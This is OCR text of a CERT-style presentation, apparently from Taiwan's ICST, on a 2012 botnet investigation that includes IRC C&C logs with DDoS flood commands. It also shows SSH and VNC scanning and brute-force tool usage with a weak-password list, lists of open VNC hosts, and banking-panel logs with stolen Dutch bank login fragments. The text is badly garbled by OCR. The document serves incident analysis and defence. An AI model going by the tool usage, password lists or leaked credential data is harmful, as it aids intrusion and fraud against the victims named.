2012-06-03 00:16:52
2012-06-03 00:07:20
2012-06-01 18:34:41
2012-05-31 23:04:57
2012-05-31 23:04:50
2012-05-31 22:29:44
2012-05-31 18:29:119
2012-05-29 05:59:19
2012-05-29 05:18:50
2012-05-28 18:04:42
2012-05-28 18:04:37
2012-05-23 18:34:27
2012-04-10 08:00:01
2012-04-06 18:53:48
2012-04-06 18:36:37

irc.
irc.
66|
66|
66,
66|
66|
66|
66,
66|
78,
78]
78
78]
78,
78
78,
78
78
78
78,
78
78]
78]
78]
78
78,
66|
70
70,

cCncIp
quran.com
quran.com
211152
.211.152
211152
.211.152
.211.152
.211.152
.211.152
211152
188.201
.188.201
188.201
.188.201
.188.201
.188.201
.188.201
188.201
.188.201
.188.201
.188.201
.188.201
.188.201
.188.201
.188.201
.188.201
.188.201
211.152
160.105
A160.105

Channel
#hilang
#hilang
#GLX
FGLH
#FGLX
#FGLX
#FGLK
#FGLX
#FGLX
#FGLX
##sodoma_3
F¥sodoma_3
#F¥sodoma_3
#Fsodoma_3
F¥sodoma_3
#F¥sodoma_3
#F#sodoma_3
#F#sodoma_3
#F¥sodoma_3
F¥sodoma_3
#F#sodoma_3
F¥sodoma_3
#F¥sodoma_3
#F#sodoma_3
F¥sodoma_3
#Fsodoma_3
#¥sodoma_3
#FGLX
#GLX
FGLH

Command_Data
‘Redzone!l~Ost@Confuse PRIVMSG #hilang :llol @udpfl...
‘Redzonel~Ost@Confuse PRIVMSG #hilang :llol @udpfl...

lhdckers@hdckers PRIVMSG #GLX :
Tlhdckers@hdckers PRIVMSG #GLX :
“lhdckers@hdckers PRIVMSG #GLX :
Clhdckers@h4ckers PRIVMSG #GLX
Clhdckers@hdckers PRIVMSG #GLX
Clhdckers@hdckers PRIVMSG #GLX
lhdckers@hdckers PRIVMSG #GLX
“lhdckers@hdckers PRIVMSG #GLX

tcp ack 94.97.99 .
icp ack 94.99.81..
fcp ack159.0.85...
tepack 173.225....
tcpack 146.251 ...
icp ack 67.43.22...
tcpack 37.107.1..
icp ack 188.248...

KrowNIbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOwnlhecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOwnllhecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOowN!hecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOwnlhecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrownN!becks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrowNIbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrowNIbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOownN!hecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrownN!hecks@arrapao PRIVMSG #¥sodoma_3 .ddos.super...
KrOowNIbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOwhllbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOwnN!becks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrowNIbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrOwnhllhecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...
KrownN!hecks@arrapao PRIVMSG #¥sodoma_3 .ddos.super...
KrowNIbecks@arrapao PRIVMSG ##sodoma_3 .ddos.super...

Clhdckersi@hdckers PRIVMSG #GLX
Clhdckers@hdckers PRIVMSG #GLX
Tlhdckers@hdckers PRIVMSG #GLX :

dcpack 31.203.2..
tcpack176.18.8...
tcpack176.224. .




‘Case Study II

e A Sketch of the Botnet Structure
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‘Case Study Il
Incident Handling Process

Description:

— On Feb. 24th, 2012, we discovered a C&C server of a botnet
located in TANet (Taiwan academic network). In order to defend
Taiwan network security, we decided to setup a sniffer on the C&C
server to reveal underlying victims and for further analysis.

C&C Tracer Retrieve The Pca
P Analyzed Found scanning Collated data, did
detected a C&C files and setup . ; R
; the network tools, malwares and statistics and wrote
server located in custom packet 3 X :
A : z traffic of some configuration the report of this
I'aiwan academic sniffer for second 2 e
; the Botnet of hacking software security incident
network phase analysis i :

2012/2/24 2012/3/1 2012/3/2 2012/3/7 2012/3/13
real-time detection Pcap analysis investigation
further tracking
2012/2/24 2012/3/2 2012/3/8 012/3/12

Request the Discovered 24 Discovered 93 Discovered 474
administrator to victims in Taiwan victims in Taiwan victims in Taiwan and
capture the and announced the and announced the announced the third
network traffic for first phase security second phase security phase security
first phase analysis incident alert incident alert incident alert

34



S ‘Case Study II
The Structure of Botnet

e Network structure:

R
Bot Bot Bot Bot Bot Bot Q I
I

Q\ i Discovered

—— 4 A 121,336

Y V V V V V victims
A HTTP
* Request

Toolkit Taiwan (140. .103.148)
1.Scanning Tools

2.Brute force automation H Fast-Flux Network -¢----p| C&C Server
3.dictionary and wordlist (HTTP Proxy) Bol/ 8158

(s

A SSH
. Connection

~ Y
Botherder
M@A.ﬂ&%g Queens College of CUNY




S ‘Case Study II
|P Distribution of C&C

e The top 5 C&C DN-IP mapping:

B Mapping Countries ® Mapping IP Addresses



Case Study II

S .
DN-IP Mapping of C&C

113.*%.251.236
124.248.*.46

C&C Mapping IP

217.24.*.7
140.*%.103.148

cutenews.net O C&C Mapping IP

telecurveopora.co
m

C&C Domain name

216.*.250.25
184.95.*.154

C&C Domain name

C&C Mapping IP



Case Study Il
Country Distribution of C&C

e The top 10 country distribution:

Australia,
“ Indonesia, 2/2 ® Brazil,

3/3/ 2 /2%
= SW|tzerIand /2%

3/3%
= Korea, 4/5/

= Ukraine,4/5%__
® United States,

® Canada, 4/ 4// 42 [ 48%

® China, 19/22%_ N



Case Study Il
Geographic Distribution of C&C

ICST ‘




S ‘Case Study II
N Botnet functionalities

| C&C Server |

~85.17.138.133
o, il
S HTTP Method |5
HTTP Method / T
Fast- Flux Proxy |

140.123.103.148
—
Scanning
RPC(3309)

Internet

SSH(22)
k > 4j \ VNC(5900)
e 1Y SSH\
>’ § Login ‘

| DNS Server |




S ‘Case Study Il

Scanning Toolkit

B CHEShETEERET B b El
1 [errR{UER{RlAR 28 FFLHEIE =R ] Al
2 *f15 * * * % k111all nginx ; sleep 1 ; fusr/local/nginx/sbin/nginx
5 REFA sErvER HEZFLIFENRE sErRvER FILIIEFEEME
1 [ HEMETBERRISE T E-E
5 ./=3s 5500 -a 94 -1 eth0 -= 9
¢ [EHEMEEEIERE TR -SEEEHE)

T 357
8 [ EEMEFTRESEEE LR -FEIETFIE]
2 1 . Ty
[FHIES FooEs dIarusSes) 71 C: root' ync2.toz', ync2.tar scan’,
10 123 o . o - 5
- EERE EEE W E%E) \EE WRy BHEEn IO HEw
12 123456 +-V+-Vl*ﬂxﬁ
13 12345678 oA EEEEE BIE m EEE BEL s fEEh miEE EER
14  admin T ||ufl Ciiroatidoiary ||li| C:roatvncz, kgzivnc karlscan),
e &% o [ B
16 cash =% A [ A —
17 cashier 193,148 pscan. 22 kry 7815 8192 | 2009-07-20 06:57 Orwrer-xp-x | rook
18 Thotel 200,118, pscan, 22 pass 42 512 2009-07-20 06:49 Orw-r--+-- | roat
19 micraos 213,246, pscan, 22 brute 17 937 15 432  2009-07-17 23:17 Orwwxr-xr-x | rook
gen-pass.sh 55 596 756 596 992 2009-07-17 25:21 Orwexr-xr-x | rook
20  nopass : -
go.sh qo 103 512 2009-07-17 23:21 Qruager-p-x rook
ol pass_file mass 136 512 | 2009-07-17 2321 Orwesr-xr-x | rook
22 passlZ3 pscanz da & 581 8704  2009-07-17 2327 Orwsr-xr-x | rook
23  password 55
24 pos s:h-:can
=) SCAF
©9  querty r;] widln, bxck
ZE ros
27 resl




‘Case Study II
Scanning Toolkit — Manual

* root@bt: ~/ss

ew Terminal Help e Edit View Terminal Help
root@bt:~/ss# 11 root@bt:~/ss# ./pscan2
total 1936 Usage: ./pscan2 <b-block= <port> [c-block]
drwxrwxrwx 2 root root 4096 2012-03-19 09:54 |/ root@bt:~/ss# ./ssh-scan
drwx------ 23 root root 4996 2012-83-19 09:46 ../ ./ssh-scan =<cate pizde sa incerc...>
-rWErW-rw- 1 root root 17937 2009-87-17 23:17 brute#® root@bt:~/ss# ./ss__vnc
-rwxrw-rw- 1 root root 8581 2809-87-17 23:27 do* usage: ./ss__vnc <port= [-a <a class> | -b <b class=] [-i <in
-rwxrw-rw- 1 root root 103 2009-87-17 23:21 go* terface] [-s <speed=]
-rwxXre-rW- 1 root root 136 2009-87-17 23:21 mass vnc#* speed 18 -> as fast as possible, 1 -» it will take bloody age
-rwxrw-rw- 1 root root 42 2009-87-20 06:49 pass wnc* s (about 58 syns/s)
-rwxXrw-rw- 1 root root 21487 2004-07-22 05:58 pscan2#* by DrBIO0S <drbios2@88@yahoo.com> & Bagabontu <bagabonturo@yah
-rwxXrw-rw- 1 root root 453972 2004-07-13 02:09 ss doiaruscan® joo.com=
-rwxXrw-rw- 1 root root 842736 2004-11-24 21:34 ssh-scan*® root@bt:~/ss# ./try
-rwXrw-rw- 1 root root 596756 2009-07-17 23:21 ss  unc# sh: -c: line ©: syntax error near unexpected token ~(°
-rwXrw-rW- 1 root root 7815 2009-87-28 86:57 try* sh: -c: line @: "./brute -h (null) -f pass®
root@bt:~/ss# cat pass_ vnc root@bt:~/ss# [ ]
password
admin
123456
1234
querty
passl123

root@bt:~/s5s5# ./brute

[-] Scam Error

[-] Usage :./brute -h <127.0.98.1> -p 5900 -f passfile

root@bt:~/ss# ./do

Usage: ./do <input file>

root@bt:~/ss# ./go

./fgo: line 1: ./ss: No such file or directory

cat: bios.txt: No such file or directory

root@bt:~/ss# ./mass__wnc

#Usage: ./mass__ vnc <class=>

root@bt:~/ss# ./ss_doiaruscan

usage: ./ss doiaruscan <port> [-a <a class> | -b <b class>] [-i <interface] [-s5 <speed=]
speed 18 -> as fast as possible, 1 -> it will take bloody ages (about 58 syns/s)
root@bt:~/ss# ||
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‘Case Study Il
- PC Information of Victims

B victim_data.txt - SRBEA =181x|

BHFE ARIEE B0 R SHEH)

Bot Ip :2.81.6.193
Time :-2811.89.28 17:43:31

serAgent : mozilla/4.8 (compatible; msie 8.8; windows nt 6.1; trident/4.8; slcc2; .net clvr 2.0.50727; _net clv 3.5.38729; .
avigatorappVersion : 4.8 (compatible; HMSIE 8.8; Windows NT 6.1; Trident/4.8; SLCC2; .MET CLR 2.8.58727; .NMET CLR 3.5.38729;

avigatorPlatform : Win32

avigatorfAppHinorVersion : @

avigatorCpuClass : x86 .
ruwserl_anguage H Pt BI'OWSEI' Ver5|0n
SEFIPLENOINQBUITO0erSIon - 0702

screenColourDepth - 32

screenWidth : 1280

sceenHeight : 8688 . .
creenfvailleight : 768 Display resolution
progrncisc -

nimeTypelList :

dynamicHTHLDataBinding : 8,8,7600,16385%

thiTextDisplaySupport :

windowsHediaPlayer : 12,8,7600,16667

uniscribe :

languageAutoSelect :

winduwsDesktupUpdateNT - 6,1,7600,16644

macromediaFlash :

internetConnectionWiz :

1etnameseTertbisplaysupport =

internetExplorerHelpEngine : 6,1,7600,156385

'nternetExplurerHelp - 8,8,7600,16385

oreanTextDisplaySupport =

hineeseTraditionalTextDisplaySupport :

anEuraTextDisplagSupport o T Language support
addressBook :© 6,1,7088,16084

nternetkxplorertlasseskord :

irectAnimation =

ynamicHTHLDataBindingForJava :

internetExplorerFive : 8,8,7600,17136

irectShow -

ectorGraphicsRendering :

utlookExpress : 6,1,7600,16385

japaneesTextDisplaySupport : i .
%igrusuFtUirtuaEMaghiﬁg : L,.8,5000,0 Softwre |nf0rmat|0n

d0lArt H

1| | n

.
it o_eao—______sm._a_Lial
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Study II

Victims of Scanning Result

= RS RIRIPAEE_vuln bt

B FIRIPIFE_vuln bat

= BREIRFIRIPISE_voln bt

SV

[ B

o

0o

()]

~J

W

0

&
2z

Got IT :> 24. 25.225:nopass
Got IT :> 24, 116.115:nopass
Got IT :> 24. 101.8:nopass
Got IT :> 24. 141.140:nopass
Got IT :> 24. 156.174:nopass
Got IT :> 24 56.63:nopass
Got IT :> 24 67.113:nopass
Got IT :> 24. 204.153:nopass
Got IT :> 24, 58.60:nopass
Got IT :> 24 70.1l2:nopass
Got IT :> 24. 153.25:nopass
Got IT :> 24. 72.117:nopass
Got IT :> 24, 116.115:nopass
Got IT :> 66. .100.147:nopass
Got IT :> 66. .146.16:nopass
Got IT :>» 66. .153.52:nopass
Got IT :> 66. .94.46:nopass
Got IT :> 66. .175.205:nopass
Got IT :> 66. .7.185:nopass
Got IT :> 66.] .7.188:nopass
Got IT :> 66. .186.49:nopass
Got IT :> 66. .190.199:nopass
Got IT :> 66. .210.173:nopass
Got IT :> 66. .25.225:nopass
Got IT :> 66. .43.238:nopass

Vnc:66.27.63. rnopass

5.224.204:nopas

Got IT : 66 . .160.234:nopass
Got IT :> 66. .207.49:nopass
Got IT : 66.] .84.209:nopass
Got IT : 66 . .106.165:nopass
Got IT : 66 . .160.203:nopass
Got IT : 66 . .32.52:nopass

Got IT :> 66. .33.180:nopass
Got IT : 66 . .238.30:nopass
Got IT : 66 . .238.72:nopass
Got IT :> 66. .243.25:nopass
Got IT : 66 . .254.21:nopass
Got IT :> 66. .29.27:nopass

Got IT : 66 . .237.105:nopass
Got IT :>» 66. .233.12:nopass
Got IT :> 66. .117.42:nopass
Got IT : 66 . .209.13:nopass
Got IT :> 66.) .113.107:nopass
Got IT : 66 . .6.184:nopass

Got IT : 66 . .82.236:nopass
Got IT :> 66. .116.226:nopass

50 Got IT :> 66. . 213.184:nopass

NEE Got IT :> 66. .167.150:nopass
Got IT :> 66. .137.152:nopass
Got IT :> 66. . 19.72:nopass

4 Got IT :> 66. . 219.30:nopass

55 Got IT :> 66. .133.75:nopass

56 Vnc:66.60.95. i1nopass

5 Got IT :> 6 .52.179:nopass

5 Got IT :>» 66. . 222.182:nopass

59 Got IT :> 66. .14.124:nopass

&0 Got IT :> 66. . 22.83:nopass

& Got IT :> 66. .193.18:nopass
Got IT :> 66. . 23.223:nopass

& Got IT :> 66. . 27.253:nopass

64 Got IT :> 66. . 223.70:nopass

65 Got IT :>» 66. .251.94:nopass
Got IT :> 66. . 253.52:nopass
Got IT :> 66. . 57.48:nopass

[ Got IT :> 66. .119.174:nopass

569 Got IT :> 66. . 156. 238 ::nopass

70 Vnc:66.74.24. inopass

71 Got IT :> 6 .108.132:nopass

72 Got IT : 66. . 105.137:nopass

73 Got IT :> 66. .115.37:nopass

74 Got IT : 66. .121.27:nopass

75 Got IT :> 66. . 133.182:nopass
Got IT : 66. . 142.226:nopass
Got IT : 66. .176.127 :nopass
Got IT :> 66. .177.171l:nopass
Got IT : 66. . 180.213:nopass
Got IT : 66. . 1837.9:nopass
Got IT :> 66. . 139.95:nopass
Got IT : 66. . 199.184:nopass
Got IT :> 66. . 209.133:nopass
Got IT : 66. .215.185:nopass
Got IT : 66. . 237.24:nopass
Got IT :>> 66. . 244. 237 :nopass
Got IT : 66. . 249.17:nopass
Got IT :> 66. . 45. 74:nopass
Got =IT: ¢ 66. . 55.71l:nopass
Got IT :> 66. . 57.1l64:nopass
Got IT :> 66. . 57.201:nopass
GOERTT~S 66. . 64.205:nopass
Got IT :> 66. .68.14:nopass
Got IT : 66.
Got IT : 66.

=1 Got IT :> 66.

Got IT :> 66. z2z9
Got IT :> 66. 237
Got IT :> 66. 105
Got IT :> 66.

Got IT :> 66. 218
Got IT :> 66. 74.
Got IT :> 66. 77.
Got IT :> 66. 133
Got IT :> 66. 158
Got IT :> 66. 236
Got IT :> 66. 240

107 Vnc:66.91.176 ino
103 Vnc:66.91.17 0s:
109 Vnc:66.91.17 3
110 Ync:66.91.17 1
111 Vnc:66.91.17
11z ¥nc:66.91.18 45:
113 Vnc:66.91.18 52:
114 Vnc:66.91.18
115 Got IT :> 66 .28
116 Got IT :> 66. 59..
Got IT :> 66. 11z

¥nc:66.92.179

Got IT :> 66 .25

Got IT :> 66. 251
Got IT :> 66. 163
Got IT :> 66. 1.1
Got IT :> 66. 60.
Got IT :> 66. 64.
Got IT :> 66. 54.
Got IT :> 66. .66
Got IT :> 66. .13
Got IT :> 66. .19
Got IT :> 66. .2z
Got IT :> 66. .18
Got IT :> 66. .21

Vnc:66.109.22
¥Ync:66.109.2
¥nc:66.109.2
Vnc:66.110.1
Got IT :> 66

13:
14:
13

0.2

Got IT :> 66. (WM. 22
Got IT :> 66. (M. 22
Got IT :> 66.[MM.12
Got IT :> 66. (M. 15
Got IT :> 66.[MM.15
14z [pot IT :> 66. M. 47

. 50:nopass
.l44:nopass
.133:nopass

124.10:nopass

.1ll4:nopass
82:nopass
198:nopass
.29:nopass
.194:nopass
.196:nopass
.4d:nopass
pass

nopass

nopass

S:nopass

nopass
nopass

4:nopass

.1l60:nopass
49:nopass
.100:nopass

6:nopass

1l.143:nopass
.154:nopass
.49:nopass
98 :nopass
71l:nopass
Z26:nopass
227:nopass
. S5:nopass
3.1ll:nopass
S5.24:nopass
8.103:nopass
.4Z:nopass
2.227:nopass

Z2:nopass

nopass
nopass
inopass
2l.10l:nopass
l.69:nopass
1l.89:nopass
0.136:nopass
1l.202:nopass
9.140:nopass
.230:nopass

= BREIRFIRIPISE_voln bt

142 Got IT :> 66. .47.230:nopass
143 Got IT :> 66. .182.232:nopass
144 Got IT :> 66. .4.18:nopass
145 Got IT :> 66. .8l.105:nopass
146 Got IT :>» 66. .8l.11l6:nopass
147 Got IT :> 66. .81l.125:nopass
148 Got IT :> 66. .8l.69:nopass
149 Got IT :> 66. .81l.72:nopass
150 Got IT :> 66. .81l.77:nopass
151 Got IT :> 66. .81.80:nopass
52 Got IT :> 66. .81l.85:nopass
Got IT :> 66. .81.88:nopass
154 Got IT :> 66. .8l.96:nopass
155 Got IT :> 66. .1l04.151l:nopass

56 Vnc:66.116.10
Got IT :> 66.

3:nopass

Got IT :> 66. .158.73:nopass
Got IT :> 66. .102.34:nopass
Got IT :> 66. .57.150:nopass
Got IT :> 66. .57.187:nopass
Got IT :> 66. .143.115:nopass
Got IT :> 66. .18.135:nopass
Got IT :> 66. .36.111:nopass
Got IT :> 66. .104.21:nopass
Got IT :> 66. .123.5:nopass
1 Got IT :> 66. .13.104:nopass
1 Got IT :> 66. .255.181:nopass
169 Got IT :> 66. .59.209:nopass
170 Got IT :> 66. .1658.28:nopass
171 Got IT :> 66. .248.98:nopass
172 Got IT :> 66. .24.197:nopass
173 Got IT :> 66. .97.222:nopass
174 Got IT :> 66. .99.156:nopass
175 Got IT :> 66. .49.38:nopass
176 Got IT :> 66. .112.69:nopass
17 Got IT :> 66. .67.43:nopass
1 Got IT :>» 66. .155.29:nopass
1 Got IT :> 66. .134.194:nopass
1 Got IT :> 66. .133.203:nopass
13 Got IT :> 66. .135.17:nopass
1 Got IT :> 66. .135.35:nopass
1 Got IT :> 66. .145.38:nopass
1 Got IT :> 66. .150.72:nopass
1 Got IT :> 66. .171.41l:nopass
1 Got IT :> 66. .171.42:nopass
1 Got IT :> 66. .179.151:nopass
X Got IT :> 66. .121.11l4:nopass

§.228.71:nopass
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| eak of Bank Information?

/bentpanel/get. php?bname=abnamrokactivi:adata=;dentifer. “adentifer! Login: “624522253:Pasnummer: 870" https: /v abnamro.nl/nl/logon/identificationtwME S SAGE_BAII

‘hentpanel/get.p hadata=;dentifer, “edenti £ . i GE_B
/bentpanel/get.p Bank Name hadata=;dentifer, " edentf ACCDUnt E PHSSWUrd i P{\CCESS Cﬂde I‘Dgﬂn URL _Bal
/bentpanel/get php Ybname=abnamiokactiviadata=;dentifer, “edentifer?:.Login: “643593772 Pasnummer: “515" https: v, abnarro. nl?nllogonddentificationEMESSAGE_SEC

/bentpanel/oet. phpBoname=rabobank Bactivi:adata=:R ekeningnumme; - bankieren.rabobank. nl/klantend

‘bentpanel/get php activi-adata=Fekeningnummer; - bankieren rabobank.mldklantens

‘bentpanel/oet. phpBoname=rabobank §activiadata=;R ekeningnummer; - bankieren rabobank. nldanten

/bentpanel/get. phpBoname=rabobank Bactivi:adata=:F ekeningnummer; - &'bankieren.rabobank. nldklanten

/bentpanel/get. php activiadata=Fekeningnummer; - ' bankieren.rabobank. nidklanten

/bentpanel/oet. phpBoname=rabobank Bactivi:adata=;R ekeningnummer; - &'bankieren.rabobank. nldklantend

‘bentpanel/oet. phpBoname=rabobank §activiadata=;R ekeningnummer; - bankieren rabobank.nl/klantens

‘bentpanel/oet phpBname=rabobank §activiadata=;R ekeningnummer; - bankieren rabobank.mldklantens

/bentpanel/get. php activiadata=Fekeningnummer; - &' bankieren.rabobank. nldklantend

/bentpanel/oet. phpBoname=rabobank Bactivi:adata=;R ekeningnummer; - &'bankieren.rabobank. nldklanten
/bentpanel/oet. phpBoname=rabobank Bactivi:adata=:R ekeningnumme; - ' bankieren.rabobank. nldklanten

‘bentpanel/oet phpBname=rabobank §activiadata=;R ekeningnummer; - bankieren rabobank.ml/klanten/gslag

‘bentpanel/get php activi-adata=Fekeningnummer; - bankieren rabobank. nl/klanten!

/duespanel/get. php Pbname=abnamokactiviadata= dentifer, “edentifer; : 612:Pasrummer; ™1 24" hittps: /v, abnarro, il nllogon/ dentihcabion
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Global Distribution of Bots
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Cooperation in Talwan



& |Cooperation in Taiwan

Spam information
Botnet information
Honeynet information

Notify

Notify

Spam information
Botnet information
Honeynet information

TWNCERT ICST
( Outside ) ( Inside )

Other Country I Taiwan

Company

Notify

School

User




& |Cooperation in Taiwan

REHHE2 SRR 0 A BT LI
EAiEE  CSTINT.G20120248 B 201278012 FAEE ICSTINT-G2012-0278 BB T2
PO PU—— e e TEE  HIECLETER B 201211
EprE 210240 261 9 FEFL BB SBREN BEFEY BETH 15 hosts have invalved in Botnet activities
vesw & EESE ©
REgr | MEER fREEg AR
ReiTRR L ERETEEP: A T‘FJNCERT discove;ed gugpected computers in US had ~
[210.240.26, 120]) 2467 FEEE o E been 1nfect§d with t?ots.
ER2012-00-05 21:48: 3280  FEIRCEIE T - They conuﬁcaged “.Iith [;&Chseévers through IRC
HEfaa Ca RS i protocol. The detatleg of the Botnet b
(IP:[190.113.0.213:6668]) R B BRAERE (Botnet ) victing are ligted in the attached file. Pleage
g v refer the attached file. v
r The date and tine are in GHT+8.
SEIP 21024026129 SEHIP* 96.44 146 52
IP:190.113.0.213 2092222244
REERRE |. ) ie : . . {AIRZAE . - i . N
< @mse @ The notification in Taiwan I am=.»-  The notification for other Cert
AR H .
| R, SRR » RSB BT E A TWHCERT =uggests the following to mitigate the ~
Ttk HHIPE BEMZ E naliciong Botnet activity:
WS AR B ATNAT (Netvork Address Translation)dd 1. Confirm the status of the host, blacklist the
iifl-t51 IEZ S  FEEEEE By [P address imnediately if the host g compromised.
Wﬁﬂfﬁ?ﬂﬁ%ﬁ%ﬁﬁﬁﬁ%?ﬁZﬁgﬁﬁiﬁﬁﬁ° 2. Naintain up-to-date antivirug software and
2-%5@%%%%%5%‘%5@7&5’Eﬁiﬁﬁ?ﬁf’ﬁ%ﬁﬁ’ v gignature files. v
LERR ST RIE R 3. Keep operating systen patches up-to-date.
| FERAREE (Botnet ) BECHEREE(CAC Server) 4 1. Botnet and C&C Server
gt%%;%%ﬁ;dia.org;’wikHBotnet http:/fen.vikipedia.orgfwiki/Botnet
. = o 2. Nicrogoft Security TechCenter
SETH http: ! fwmw . nicrogoft. conftatvan/vindowsp/uging gho htip:/itechnet. nicrogoft. confen-ng/secur ity
faecnrity/ internet/sp2_wfintro.ngpx 3. Nicrogoft Security Bulleting
]"lltt]):N‘{("{JW.]HCYOSO'ft.(;(?Tll?il’ldOWSRDMSi]’lg ¥ http://technet.nicrosoft. confen-us/security/bulletin
netvorking/ learnnore! icf. ngpx
LR 210.240.26.129 bddlown R Botnet_Information_20120901-20120930 [US][BOT].cavdomn




& [Conclusion

IC

e The botnet threat continued intensify in the word,
ICST went to reduce the threat. We have to do

something :
— |In the future, We will still trace botnet, and make sure
our tool would be better and better

— Try to collect more and more C&C domain name for
C&C Tracer

e In order to combat botnet spread, we want to
shorten the time of the hacker control victims, and
notify those victim in real time



93 Future Work

IC

e How about data exchange?

— If we could get those data in real time, we could analyze
those data, and notify those victims.

e The following information can be exchanged between
your country/organization and Taiwan
— Honeynet (instance log / malware)
— Botnet (C&C and Botnet information)
— Spam (The Spammer IP)



& My team member
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Chang Cheng







Thank you for your kind attention
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